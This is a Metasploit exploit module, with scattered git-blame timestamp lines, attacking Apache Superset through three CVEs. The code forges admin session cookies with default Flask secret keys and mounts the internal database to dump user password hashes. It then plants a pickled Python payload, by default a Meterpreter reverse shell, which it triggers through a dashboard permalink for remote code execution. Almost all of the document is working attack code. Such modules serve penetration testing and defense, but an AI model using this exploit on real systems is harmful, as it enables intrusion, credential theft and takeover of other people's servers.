2023-09-07 16:02:31 -04:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf :: Exploit :: Remote
Rank = GoodRanking
include Msf :: Exploit :: Remote :: HttpClient
def initialize ( info = { } )
super (
update_info (
info ,
'Name' = > 'Apache Superset Signed Cookie RCE' ,
'Description' = > %q{
2023-09-15 16:29:05 -04:00
Apache Superset versions <= 2.0.0 utilize Flask with a known default secret key which is used to sign HTTP cookies.
These cookies can therefore be forged. If a user is able to login to the site, they can decode the cookie, set their user_id to that
of an administrator, and re-sign the cookie. This valid cookie can then be used to login as the targeted user. From there the
Superset database is mounted, and credentials are pulled. A dashboard is then created. Lastly a pickled python payload can be
set for that dashboard within Superset's database which will trigger the RCE.
An attempt to clean up ALL of the dashboard key values and reset them to their previous values happens during the cleanup phase.
2023-09-07 16:02:31 -04:00
} ,
'License' = > MSF_LICENSE ,
'Author' = > [
'h00die' , # MSF module
'paradoxis' , # original flask-unsign tool
'Spencer McIntyre' , # MSF flask-unsign library
'Naveen Sunkavally' # horizon3.ai writeup and cve discovery
] ,
'References' = > [
[ 'URL' , 'https://github.com/Paradoxis/Flask-Unsign' ] ,
[ 'URL' , 'https://vulcan.io/blog/cve-2023-27524-in-apache-superset-what-you-need-to-know/' ] ,
[ 'URL' , 'https://www.horizon3.ai/cve-2023-27524-insecure-default-configuration-in-apache-superset-leads-to-remote-code-execution/' ] ,
[ 'URL' , 'https://www.horizon3.ai/apache-superset-part-ii-rce-credential-harvesting-and-more/' ] ,
[ 'URL' , 'https://github.com/horizon3ai/CVE-2023-27524/blob/main/CVE-2023-27524.py' ] ,
[ 'EDB' , '51447' ] ,
2023-09-14 13:21:01 -04:00
[ 'CVE' , '2023-27524' ] , # flask cookie
[ 'CVE' , '2023-37941' ] , # rce
2023-09-14 14:28:29 -04:00
[ 'CVE' , '2023-39265' ] # mount superset's internal database
2023-09-07 16:02:31 -04:00
] ,
'Platform' = > [ 'python' ] ,
'Privileged' = > false ,
'Arch' = > ARCH_PYTHON ,
'Targets' = > [
[ 'Automatic Target' , { } ]
] ,
'DefaultOptions' = > {
'PAYLOAD' = > 'python/meterpreter/reverse_tcp'
} ,
'DisclosureDate' = > '2023-09-06' ,
2023-09-14 13:21:01 -04:00
2023-09-07 16:02:31 -04:00
'DefaultTarget' = > 0 ,
'Notes' = > {
2023-09-14 13:21:01 -04:00
'Stability' = > [ CRASH_SAFE ] ,
'Reliability' = > [ REPEATABLE_SESSION ] ,
'SideEffects' = > [ CONFIG_CHANGES ] ,
'RelatedModules' = > [ 'auxiliary/gather/apache_superset_cookie_sig_priv_esc' ]
2023-09-07 16:02:31 -04:00
}
)
)
register_options (
[
Opt :: RPORT ( 8088 ) ,
OptString . new ( 'USERNAME' , [ true , 'The username to authenticate as' , nil ] ) ,
OptString . new ( 'PASSWORD' , [ true , 'The password for the specified username' , nil ] ) ,
2023-09-14 13:21:01 -04:00
OptInt . new ( 'ADMIN_ID' , [ true , 'The ID of an admin account' , 1 ] ) ,
OptString . new ( 'TARGETURI' , [ true , 'Relative URI of Apache Superset installation' , '/' ] ) ,
OptPath . new ( 'SECRET_KEYS_FILE' , [
false , 'File containing secret keys to try, one per line' ,
File . join ( Msf :: Config . data_directory , 'wordlists' , 'superset_secret_keys.txt' )
] ) ,
2023-09-15 16:29:05 -04:00
OptString . new ( 'DATABASE' , [ true , 'The superset database location' , '/app/superset_home/superset.db' ] )
2023-09-07 16:02:31 -04:00
]
)
end
def check
res = send_request_cgi! ( {
2023-09-14 13:21:01 -04:00
'uri' = > normalize_uri ( target_uri . path , 'login/' )
2023-09-07 16:02:31 -04:00
} )
2023-09-14 13:21:01 -04:00
return Exploit :: CheckCode :: Unknown ( " #{ peer } - Could not connect to web service - no response " ) if res . nil?
return Exploit :: CheckCode :: Unknown ( " #{ peer } - Unexpected response code ( #{ res . code } ) " ) unless res . code == 200
return Exploit :: CheckCode :: Safe ( " #{ peer } - Unexpected response, version_string not detected " ) unless res . body . include? 'version_string'
2023-09-07 16:02:31 -04:00
unless res . body =~ / & # 34;version_string& # 34;: & # 34;([ \ d.]+)& # 34; /
2023-09-14 13:21:01 -04:00
return Exploit :: CheckCode :: Safe ( " #{ peer } - Unexpected response, unable to determine version_string " )
2023-09-07 16:02:31 -04:00
end
version = Rex :: Version . new ( Regexp . last_match ( 1 ) )
if version < Rex :: Version . new ( '2.0.1' ) && version > = Rex :: Version . new ( '1.4.1' )
Exploit :: CheckCode :: Appears ( " Apache Supset #{ version } is vulnerable " )
else
2023-09-14 13:21:01 -04:00
Exploit :: CheckCode :: Safe ( " Apache Supset #{ version } is NOT vulnerable " )
2023-09-07 16:02:31 -04:00
end
end
2023-09-14 13:21:01 -04:00
def get_secret_key ( cookie )
File . open ( datastore [ 'SECRET_KEYS_FILE' ] , 'rb' ) . each do | secret |
secret = secret . strip
vprint_status ( " #{ peer } - Checking secret key: #{ secret } " )
2023-09-07 16:02:31 -04:00
2023-09-14 13:21:01 -04:00
unescaped_secret = Rex :: Text . dehex ( secret . gsub ( '\\' , '\\' ) . gsub ( '\\n' , " \n " ) . gsub ( '\\t' , " \t " ) )
unless Msf :: Exploit :: Remote :: HTTP :: FlaskUnsign :: Session . valid? ( cookie , unescaped_secret )
vprint_bad ( " #{ peer } - Incorrect secret key: #{ secret } " )
next
2023-09-07 16:02:31 -04:00
end
2023-09-14 13:21:01 -04:00
print_good ( " #{ peer } - Found secret key: #{ secret } " )
return secret
end
nil
end
def validate_cookie ( decoded_cookie , secret_key )
print_status ( " #{ peer } - Attempting to resign with key: #{ secret_key } " )
encoded_cookie = Msf :: Exploit :: Remote :: HTTP :: FlaskUnsign :: Session . sign ( decoded_cookie , secret_key )
print_status ( " #{ peer } - New signed cookie: #{ encoded_cookie } " )
cookie_jar . clear
res = send_request_cgi (
'uri' = > normalize_uri ( target_uri . path , 'api' , 'v1' , 'me' , '/' ) ,
'cookie' = > " session= #{ encoded_cookie } ; " ,
'keep_cookies' = > true
)
fail_with ( Failure :: Unreachable , " #{ peer } - Could not connect to web service - no response " ) if res . nil?
if res . code == 401
print_bad ( " #{ peer } - Cookie not accepted " )
return nil
2023-09-07 16:02:31 -04:00
end
2023-09-14 13:21:01 -04:00
data = res . get_json_document
print_good ( " #{ peer } - Cookie validated to user: #{ data [ 'result' ] [ 'username' ] } " )
return encoded_cookie
2023-09-07 16:02:31 -04:00
end
2023-09-14 13:21:01 -04:00
def get_csrf_token
vprint_status ( 'Grabbing CSRF token' )
2023-09-07 16:02:31 -04:00
res = send_request_cgi! ( {
2023-09-14 13:21:01 -04:00
'uri' = > normalize_uri ( target_uri . path , 'login/' ) ,
2023-09-07 16:02:31 -04:00
'keep_cookies' = > true
} )
fail_with ( Failure :: Unreachable , " #{ peer } - Could not connect to web service - no response " ) if res . nil?
fail_with ( Failure :: UnexpectedReply , " #{ peer } - Unexpected response code ( #{ res . code } ) " ) unless res . code == 200
fail_with ( Failure :: NotFound , 'Unable to determine csrf token' ) unless res . body =~ / name="csrf_token" type="hidden" value="([ \ w.-]+)"> /
@csrf_token = Regexp . last_match ( 1 )
vprint_status ( " #{ peer } - CSRF Token: #{ @csrf_token } " )
2023-09-14 13:21:01 -04:00
end
def login_and_priv_esc
get_csrf_token
2023-09-07 16:02:31 -04:00
print_status ( " #{ peer } - Attempting login " )
res = send_request_cgi ( {
2023-09-14 13:21:01 -04:00
'uri' = > normalize_uri ( target_uri . path , 'login/' ) ,
2023-09-07 16:02:31 -04:00
'keep_cookies' = > true ,
'method' = > 'POST' ,
'ctype' = > 'application/x-www-form-urlencoded' ,
'vars_post' = > {
'username' = > datastore [ 'USERNAME' ] ,
'password' = > datastore [ 'PASSWORD' ] ,
'csrf_token' = > @csrf_token
}
} )
fail_with ( Failure :: Unreachable , " #{ peer } - Could not connect to web service - no response " ) if res . nil?
fail_with ( Failure :: NoAccess , " #{ peer } - Failed login " ) if res . body . include? 'Sign In'
2023-09-14 13:21:01 -04:00
cookie = res . get_cookies . to_s
print_good ( " #{ peer } - Logged in Cookie: #{ cookie } " )
# get the cookie value and strip off anything else
cookie = cookie . split ( '=' ) [ 1 ] . gsub ( ';' , '' )
secret_key = get_secret_key ( cookie )
fail_with ( Failure :: NotFound , 'Unable to find secret key' ) if secret_key . nil?
decoded_cookie = Msf :: Exploit :: Remote :: HTTP :: FlaskUnsign :: Session . decode ( cookie )
decoded_cookie [ 'user_id' ] = datastore [ 'ADMIN_ID' ]
print_status ( " #{ peer } - Modified cookie: #{ decoded_cookie } " )
@admin_cookie = validate_cookie ( decoded_cookie , secret_key )
fail_with ( Failure :: NoAccess , " #{ peer } - Unable to sign cookie with a valid secret " ) if @admin_cookie . nil?
2023-09-07 16:02:31 -04:00
end
def set_query_latest_query_id
vprint_status ( 'Setting latest query id' )
2023-09-14 14:28:29 -04:00
@client_id = Rex :: Text . rand_text_alphanumeric ( 8 , 12 )
2023-09-07 16:02:31 -04:00
data = Rex :: MIME :: Message . new
2023-09-14 14:28:29 -04:00
data . add_part ( '"' + @client_id + '"' , nil , nil , 'form-data; name="latest_query_id"' )
2023-09-07 16:02:31 -04:00
res = send_request_cgi (
'uri' = > normalize_uri ( target_uri . path , 'tabstateview' , @tab_id ) ,
'keep_cookies' = > true ,
2023-09-14 13:21:01 -04:00
'cookie' = > " session= #{ @admin_cookie } ; " ,
2023-09-07 16:02:31 -04:00
'method' = > 'PUT' ,
'data' = > data . to_s ,
'headers' = > {
'Accept' = > 'application/json' ,
'X-CSRFToken' = > @csrf_token
}
)
fail_with ( Failure :: Unreachable , " #{ peer } - Could not connect to web service - no response " ) if res . nil?
fail_with ( Failure :: UnexpectedReply , " #{ peer } - Unexpected response code ( #{ res . code } ) " ) unless res . code == 200
end
2023-09-14 13:21:01 -04:00
def transform_hash ( hash )
# Some background on transforming this hash:
# If we use python hashlib to generate the hash, it matches
# example output for password 'admin': $pbkdf2-sha256$260000$CXsb59tSLZm9ABBN$b3ebe68c694857464a5754a9ddd4ddadc9ff8bd093ab13d9d2496f7b81eb79e5
# hashlib: >>> pbkdf2_hmac('sha256', b'admin', b'CXsb59tSLZm9ABBN', our_app_iters).hex()
# 'b3ebe68c694857464a5754a9ddd4ddadc9ff8bd093ab13d9d2496f7b81eb79e5'
# however, JTR doesn't like this: No password hashes loaded (see FAQ)
# hashid also doesn't: [+] Unknown hash
# the basis of this is the hex() makes it 64 characters, and we need 43 characters to be a real hash
# https://hashcat.net/forum/thread-7715.html is the same issue
# the solution is to take the value, unhex it, base64 it, remove =, and sub '+' for '.'. This is the same for the salt, except for unhex.
# example output: $pbkdf2-sha256$260000$CXsb59tSLZm9ABBN$b3ebe68c694857464a5754a9ddd4ddadc9ff8bd093ab13d9d2496f7b81eb79e5
# needs transform to: $pbkdf2-sha256$260000$Q1hzYjU5dFNMWm05QUJCTg$s.vmjGlIV0ZKV1Sp3dTdrcn/i9CTqxPZ0klve4HreeU
# to get there: salt: base64, remove =, sub '+' for '.'
# python code: base64.b64encode(b'CXsb59tSLZm9ABBN').decode('utf8').replace('=','').replace('+','.')
# python output: Q1hzYjU5dFNMWm05QUJCTg
# to get there: hash: unhex, base64, remove =, sub '+' for '.'
# python code: base64.b64encode(binascii.unhexlify(b'b3ebe68c694857464a5754a9ddd4ddadc9ff8bd093ab13d9d2496f7b81eb79e5')).decode('utf8').replace('=','').replace('+','.')
# python output: s.vmjGlIV0ZKV1Sp3dTdrcn/i9CTqxPZ0klve4HreeU
header = hash . split ( '$' ) [ 0 ] # contains algorithm, iterations
header = header . sub ( 'pbkdf2:sha256:' , '$pbkdf2-sha256$' )
salt = hash . split ( '$' ) [ 1 ]
salt = Base64 . strict_encode64 ( salt ) . delete ( '=' ) . tr ( '+' , '.' )
hash = hash . split ( '$' ) [ 2 ]
hash = Base64 . strict_encode64 ( [ hash ] . pack ( 'H*' ) ) . delete ( '=' ) . tr ( '+' , '.' )
jtr_password = [ header , salt , hash ] . join ( '$' )
jtr_password
end
2023-09-07 16:02:31 -04:00
2023-09-14 14:28:29 -04:00
def mount_internal_database
2023-09-07 16:02:31 -04:00
# use cve-2023-39265 bypass to mount superset's internal sqlite db
res = send_request_cgi (
'uri' = > normalize_uri ( target_uri . path , 'api' , 'v1' , 'database/' ) ,
'method' = > 'POST' ,
2023-09-14 13:21:01 -04:00
'cookie' = > " session= #{ @admin_cookie } ; " ,
2023-09-07 16:02:31 -04:00
'keep_cookies' = > true ,
'ctype' = > 'application/json' ,
'headers' = > {
'Accept' = > 'application/json' ,
'X-CSRFToken' = > @csrf_token
} ,
'data' = > {
'engine' = > 'sqlite' ,
'configuration_method' = > 'sqlalchemy_form' ,
'catalog' = > [ { 'name' = > '' , 'value' = > '' } ] ,
2023-09-15 16:29:05 -04:00
'sqlalchemy_uri' = > " sqlite+pysqlite:/// #{ datastore [ 'DATABASE' ] } " ,
2023-09-07 16:02:31 -04:00
'expose_in_sqllab' = > true ,
'database_name' = > Rex :: Text . rand_text_alphanumeric ( 6 , 12 ) ,
'allow_ctas' = > true ,
'allow_cvas' = > true ,
'allow_dml' = > true ,
'allow_multi_schema_metadata_fetch' = > true ,
'extra_json' = > {
'cost_estimate_enabled' = > true ,
'allows_virtual_table_explore' = > true
} ,
'extra' = > {
'cost_estimate_enabled' = > true ,
'allows_virtual_table_explore' = > true ,
'metadata_params' = > { } ,
'engine_params' = > { } ,
'schemas_allowed_for_file_upload' = > [ ]
} . to_json
} . to_json
)
fail_with ( Failure :: Unreachable , " #{ peer } - Could not connect to web service - no response " ) if res . nil?
2023-10-10 15:21:35 -04:00
fail_with ( Failure :: UnexpectedReply , " #{ peer } - Failed to mount the internal database: #{ datastore [ 'DATABASE' ] } " ) if res . code == 422
2023-09-07 16:02:31 -04:00
fail_with ( Failure :: UnexpectedReply , " #{ peer } - Unexpected response code ( #{ res . code } ) " ) unless res . code == 201
j = res . get_json_document
@db_id = j [ 'id' ]
fail_with ( Failure :: UnexpectedReply , " #{ peer } - Unable to find 'id' field in response data: #{ j } " ) if @db_id . nil?
print_good ( " Successfully created db mapping with id: #{ @db_id } " )
# create new query tab
vprint_status ( 'Creating new sqllab tab' )
data = Rex :: MIME :: Message . new
data . add_part ( '{"title":"' + Rex :: Text . rand_text_alphanumeric ( 6 , 12 ) + '","dbId":' + @db_id . to_s + ',"schema":null,"autorun":false,"sql":"SELECT ...","queryLimit":1000}' , nil , nil , 'form-data; name="queryEditor"' )
res = send_request_cgi (
'uri' = > normalize_uri ( target_uri . path , 'tabstateview/' ) ,
'method' = > 'POST' ,
2023-09-14 13:21:01 -04:00
'cookie' = > " session= #{ @admin_cookie } ; " ,
2023-09-07 16:02:31 -04:00
'keep_cookies' = > true ,
'ctype' = > " multipart/form-data; boundary= #{ data . bound } " ,
'headers' = > {
'Accept' = > 'application/json' ,
'X-CSRFToken' = > @csrf_token
} ,
'data' = > data . to_s
)
fail_with ( Failure :: Unreachable , " #{ peer } - Could not connect to web service - no response " ) if res . nil?
fail_with ( Failure :: UnexpectedReply , " #{ peer } - Unexpected response code ( #{ res . code } ) " ) unless res . code == 200
j = res . get_json_document
@tab_id = j [ 'id' ]
fail_with ( Failure :: UnexpectedReply , " #{ peer } - Unable to find 'id' field in response data: #{ j } " ) if @tab_id . nil?
print_good ( " Using tab: #{ @tab_id } " )
# tell it we're about to submit a new query
2023-09-14 14:28:29 -04:00
set_query_latest_query_id
2023-09-07 16:02:31 -04:00
# harvest creds
vprint_status ( 'Harvesting superset user creds' )
res = send_request_cgi (
'uri' = > normalize_uri ( target_uri . path , 'superset' , 'sql_json/' ) ,
'method' = > 'POST' ,
2023-09-14 13:21:01 -04:00
'cookie' = > " session= #{ @admin_cookie } ; " ,
2023-09-07 16:02:31 -04:00
'keep_cookies' = > true ,
'ctype' = > 'application/json' ,
'headers' = > {
'Accept' = > 'application/json' ,
'X-CSRFToken' = > @csrf_token
} ,
'data' = > {
2023-09-14 14:28:29 -04:00
'client_id' = > @client_id ,
2023-09-07 16:02:31 -04:00
'database_id' = > @db_id ,
'json' = > true ,
'runAsync' = > false ,
'schema' = > 'main' ,
'sql' = > 'SELECT username,password from ab_user;' ,
'sql_editor_id' = > '1' ,
'tab' = > 'Untitled Query 1' ,
'tmp_table_name' = > '' ,
'select_as_cta' = > false ,
'ctas_method' = > 'TABLE' ,
'queryLimit' = > 1000 ,
'expand_data' = > true
} . to_json
)
fail_with ( Failure :: Unreachable , " #{ peer } - Could not connect to web service - no response " ) if res . nil?
fail_with ( Failure :: UnexpectedReply , " #{ peer } - Unexpected response code ( #{ res . code } ) " ) unless res . code == 200
creds_table = Rex :: Text :: Table . new (
'Header' = > 'Superset Creds' ,
'Indent' = > 2 ,
'Columns' = >
[
'Username' ,
'Password'
]
)
j = res . get_json_document
j [ 'data' ] . each do | cred |
2023-09-14 13:21:01 -04:00
jtr_password = transform_hash ( cred [ 'password' ] )
creds_table << [ cred [ 'username' ] , jtr_password ]
create_credential ( {
workspace_id : myworkspace_id ,
origin_type : :service ,
module_fullname : fullname ,
username : cred [ 'username' ] ,
private_type : :nonreplayable_hash ,
jtr_format : Metasploit :: Framework :: Hashes . identify_hash ( jtr_password ) ,
private_data : jtr_password ,
service_name : 'Apache Superset' ,
address : datastore [ 'RHOST' ] ,
port : datastore [ 'RPORT' ] ,
protocol : 'tcp' ,
status : Metasploit :: Model :: Login :: Status :: UNTRIED
} )
2023-09-07 16:02:31 -04:00
end
print_good ( creds_table . to_s )
end
2023-09-14 14:28:29 -04:00
def rce_implant
2023-09-07 16:02:31 -04:00
# create new dashboard
vprint_status ( 'Creating new dashboard' )
res = send_request_cgi (
'keep_cookies' = > true ,
2023-09-14 13:21:01 -04:00
'cookie' = > " session= #{ @admin_cookie } ; " ,
2023-09-07 16:02:31 -04:00
'uri' = > normalize_uri ( target_uri . path , 'dashboard' , 'new/' )
)
fail_with ( Failure :: Unreachable , " #{ peer } - Could not connect to web service - no response " ) if res . nil?
fail_with ( Failure :: UnexpectedReply , " #{ peer } - Unexpected response code ( #{ res . code } ) " ) unless res . code == 302
res . headers [ 'location' ] =~ %r{ dashboard/( \ d+)/ }
@dashboard_id = Regexp . last_match ( 1 )
fail_with ( Failure :: UnexpectedReply , " #{ peer } - Unable to detect dashboard ID from location header: #{ res . headers [ 'location' ] } " ) if @dashboard_id . nil?
print_good ( " New Dashboard id: #{ @dashboard_id } " )
# get permalink so we can trigger it later for payload execution
vprint_status ( 'Grabbing permalink to new dashboard to trigger payload later' )
res = send_request_cgi (
'uri' = > normalize_uri ( target_uri . path , 'api' , 'v1' , 'dashboard' , @dashboard_id , 'permalink' ) ,
'method' = > 'POST' ,
2023-09-14 13:21:01 -04:00
'cookie' = > " session= #{ @admin_cookie } ; " ,
2023-09-07 16:02:31 -04:00
'keep_cookies' = > true ,
'ctype' = > 'application/json' ,
'headers' = > {
'Accept' = > 'application/json' ,
'X-CSRFToken' = > @csrf_token
} ,
'data' = > {
filterState : { } ,
urlParams : [ ]
} . to_json
)
permalink_key = res . get_json_document [ 'key' ]
print_good ( " Dashboard permalink key: #{ permalink_key } " )
2023-09-14 14:28:29 -04:00
# grab the default values so we can unset them later
vprint_status ( 'Grabbing values to reset later' )
set_query_latest_query_id
res = send_request_cgi (
'uri' = > normalize_uri ( target_uri . path , 'superset' , 'sql_json/' ) ,
'method' = > 'POST' ,
'cookie' = > " session= #{ @admin_cookie } ; " ,
'keep_cookies' = > true ,
'ctype' = > 'application/json' ,
'headers' = > {
'Accept' = > 'application/json' ,
'X-CSRFToken' = > @csrf_token
} ,
'data' = > {
'client_id' = > @client_id ,
'database_id' = > @db_id ,
'json' = > true ,
'runAsync' = > false ,
'schema' = > 'main' ,
'sql' = > " SELECT id,value from key_value where resource='dashboard_permalink'; " ,
'sql_editor_id' = > '1' ,
'tab' = > 'Untitled Query 1' ,
'tmp_table_name' = > '' ,
'select_as_cta' = > false ,
'ctas_method' = > 'TABLE' ,
'queryLimit' = > 1000 ,
'expand_data' = > true
} . to_json
)
fail_with ( Failure :: Unreachable , " #{ peer } - Could not connect to web service - no response " ) if res . nil?
fail_with ( Failure :: UnexpectedReply , " #{ peer } - Unexpected response code ( #{ res . code } ) " ) unless res . code == 200
# in the GUI we would get [bytes] (even in the JSON response) so this isn't very convenient. We can use the CSV
# output to grab the correct values.
res = send_request_cgi (
'uri' = > normalize_uri ( target_uri . path , 'superset' , 'csv' , @client_id ) ,
'cookie' = > " session= #{ @admin_cookie } ; " ,
'keep_cookies' = > true
)
fail_with ( Failure :: Unreachable , " #{ peer } - Could not connect to web service - no response " ) if res . nil?
fail_with ( Failure :: UnexpectedReply , " #{ peer } - Unexpected response code ( #{ res . code } ) " ) unless res . code == 200
@values_to_reset = CSV . parse ( res . body )
2023-09-07 16:02:31 -04:00
# tell it we're about to submit a new query
2023-09-14 14:28:29 -04:00
set_query_latest_query_id
2023-09-07 16:02:31 -04:00
2023-10-10 14:01:24 -04:00
pickled = Rex :: Text . to_hex ( Msf :: Util :: PythonDeserialization . payload ( :py3_exec , payload . encoded ) )
2023-09-14 13:21:01 -04:00
pickled = pickled . gsub ( '\x' , '' ) # we only need a beginning \x not every character for this format
2023-09-07 16:02:31 -04:00
vprint_status ( 'Uploading payload' )
res = send_request_cgi (
'uri' = > normalize_uri ( target_uri . path , 'superset' , 'sql_json/' ) ,
'method' = > 'POST' ,
2023-09-14 13:21:01 -04:00
'cookie' = > " session= #{ @admin_cookie } ; " ,
2023-09-07 16:02:31 -04:00
'keep_cookies' = > true ,
'ctype' = > 'application/json' ,
'headers' = > {
'Accept' = > 'application/json' ,
'X-CSRFToken' = > @csrf_token
} ,
'data' = > {
2023-09-14 14:28:29 -04:00
'client_id' = > @client_id ,
2023-09-07 16:02:31 -04:00
'database_id' = > @db_id ,
'json' = > true ,
'runAsync' = > false ,
'schema' = > 'main' ,
2023-09-15 16:29:05 -04:00
'sql' = > " UPDATE key_value set value=X' #{ pickled } ' where resource='dashboard_permalink'; " , # the dashboard ID doesn't necessarily correspond to the ID in this table, so we just have to overwrite them all
2023-09-07 16:02:31 -04:00
'sql_editor_id' = > '1' ,
'tab' = > 'Untitled Query 1' ,
'tmp_table_name' = > '' ,
'select_as_cta' = > false ,
'ctas_method' = > 'TABLE' ,
'queryLimit' = > 1000 ,
'expand_data' = > true
} . to_json
)
fail_with ( Failure :: Unreachable , " #{ peer } - Could not connect to web service - no response " ) if res . nil?
fail_with ( Failure :: UnexpectedReply , " #{ peer } - Unexpected response code ( #{ res . code } ) " ) unless res . code == 200
print_status ( 'Triggering payload' )
res = send_request_cgi (
'keep_cookies' = > true ,
2023-09-14 13:21:01 -04:00
'cookie' = > " session= #{ @admin_cookie } ; " ,
2023-09-07 16:02:31 -04:00
'uri' = > normalize_uri ( target_uri . path , 'superset' , 'dashboard' , 'p' , permalink_key , '/' )
)
# we go through some permalink hell here
2023-10-10 14:01:24 -04:00
until res . nil? || res . headers [ 'Location' ] . nil?
2023-09-07 16:02:31 -04:00
res = send_request_cgi (
'keep_cookies' = > true ,
2023-09-14 13:21:01 -04:00
'cookie' = > " session= #{ @admin_cookie } ; " ,
2023-09-07 16:02:31 -04:00
'uri' = > res . headers [ 'Location' ]
)
end
# 404 error and we win.
2023-09-14 14:28:29 -04:00
# log item: 172.17.0.1 - - [14/Sep/2023:17:37:25 +0000] "GET /superset/dashboard/p/MzABePa5XYd/ HTTP/1.1" 404 38 "-" "Mozilla/5.0 (iPad; CPU OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Mobile/15E148 Safari/604.1"
2023-09-07 16:02:31 -04:00
end
def exploit
@db_id = nil
@csrf_token = nil
@tab_id = nil
@dashboard_id = nil
vprint_status ( 'Attempting login' )
2023-09-14 13:21:01 -04:00
login_and_priv_esc
2023-09-07 16:02:31 -04:00
vprint_status ( 'Attempting to pull user creds from db' )
2023-09-14 14:28:29 -04:00
mount_internal_database
2023-09-07 16:02:31 -04:00
vprint_status ( 'Attempting RCE' )
2023-09-14 14:28:29 -04:00
rce_implant
2023-09-07 16:02:31 -04:00
end
def cleanup
super
2023-09-14 14:28:29 -04:00
2023-09-15 13:32:24 -04:00
# We didn't know the previous values, so just blank out XXX
2023-09-14 14:28:29 -04:00
unless ( @client_id . nil? || @csrf_token . nil? || @db_id . nil? || @values_to_reset . nil? )
2023-09-15 13:32:24 -04:00
print_status ( 'Unsetting RCE Payloads' )
2023-09-14 14:28:29 -04:00
@values_to_reset . each do | row |
next if row [ 0 ] == 'id' # headers
2023-09-15 16:29:05 -04:00
2023-09-15 13:32:24 -04:00
vprint_status ( " Restoring row ID #{ row [ 0 ] } " )
2023-09-14 14:28:29 -04:00
set_query_latest_query_id
2023-09-15 13:32:24 -04:00
is_binary = false
if ( row [ 1 ] . starts_with? ( " b' " ) && row [ 1 ] . ends_with? ( " ' " ) )
row [ 1 ] = row [ 1 ] [ 2 .. - 2 ] # remove encoding and substring marks
row [ 1 ] = Rex :: Text . to_hex ( row [ 1 ] )
row [ 1 ] = row [ 1 ] . gsub ( '\x' , '' ) # we only need a beginning \x not every character for this format
2023-09-15 16:29:05 -04:00
is_binary = true
2023-09-15 13:32:24 -04:00
end
2023-09-14 14:28:29 -04:00
res = send_request_cgi (
'uri' = > normalize_uri ( target_uri . path , 'superset' , 'sql_json/' ) ,
'method' = > 'POST' ,
'cookie' = > " session= #{ @admin_cookie } ; " ,
'keep_cookies' = > true ,
'ctype' = > 'application/json' ,
'headers' = > {
'Accept' = > 'application/json' ,
'X-CSRFToken' = > @csrf_token
} ,
'data' = > {
'client_id' = > @client_id ,
'database_id' = > @db_id ,
'json' = > true ,
'runAsync' = > false ,
'schema' = > 'main' ,
2023-09-15 13:32:24 -04:00
'sql' = > " UPDATE key_value set value= #{ is_binary ? 'X' : '' } ' #{ row [ 1 ] } ' where id=' #{ row [ 0 ] } '; " ,
2023-09-14 14:28:29 -04:00
'sql_editor_id' = > '1' ,
'tab' = > 'Untitled Query 1' ,
'tmp_table_name' = > '' ,
'select_as_cta' = > false ,
'ctas_method' = > 'TABLE' ,
'queryLimit' = > 1000 ,
'expand_data' = > true
} . to_json
)
2023-09-15 13:32:24 -04:00
if res && res . code == 200
vprint_good ( 'Successfully restored' )
else
vprint_bad ( " Unable to reset value: #{ row [ 1 ] } " )
end
2023-09-14 14:28:29 -04:00
end
end
2023-09-07 16:02:31 -04:00
# delete dashboard
unless @dashboard_id . nil?
print_status ( 'Deleting dashboard' )
send_request_cgi (
'keep_cookies' = > true ,
2023-09-14 13:21:01 -04:00
'cookie' = > " session= #{ @admin_cookie } ; " ,
2023-09-07 16:02:31 -04:00
'uri' = > normalize_uri ( target_uri . path , 'api' , 'v1' , 'dashboard' , @dashboard_id ) ,
'method' = > 'DELETE' ,
'headers' = > {
'Accept' = > 'application/json' ,
'X-CSRFToken' = > @csrf_token
}
)
end
# delete sqllab tab
unless @tab_id . nil?
print_status ( 'Deleting sqllab tab' )
send_request_cgi (
'keep_cookies' = > true ,
2023-09-14 13:21:01 -04:00
'cookie' = > " session= #{ @admin_cookie } ; " ,
2023-09-07 16:02:31 -04:00
'uri' = > normalize_uri ( target_uri . path , 'tabstateview' , @tab_id ) ,
'method' = > 'DELETE' ,
'headers' = > {
'Accept' = > 'application/json' ,
'X-CSRFToken' = > @csrf_token
}
)
end
# delete mapping to stock database
unless @db_id . nil?
print_status ( 'Deleting database mapping' )
send_request_cgi (
'keep_cookies' = > true ,
2023-09-14 13:21:01 -04:00
'cookie' = > " session= #{ @admin_cookie } ; " ,
2023-09-07 16:02:31 -04:00
'uri' = > normalize_uri ( target_uri . path , 'api' , 'v1' , 'database' , @db_id ) ,
'method' = > 'DELETE' ,
'headers' = > {
'Accept' = > 'application/json' ,
'X-CSRFToken' = > @csrf_token
}
)
end
end
end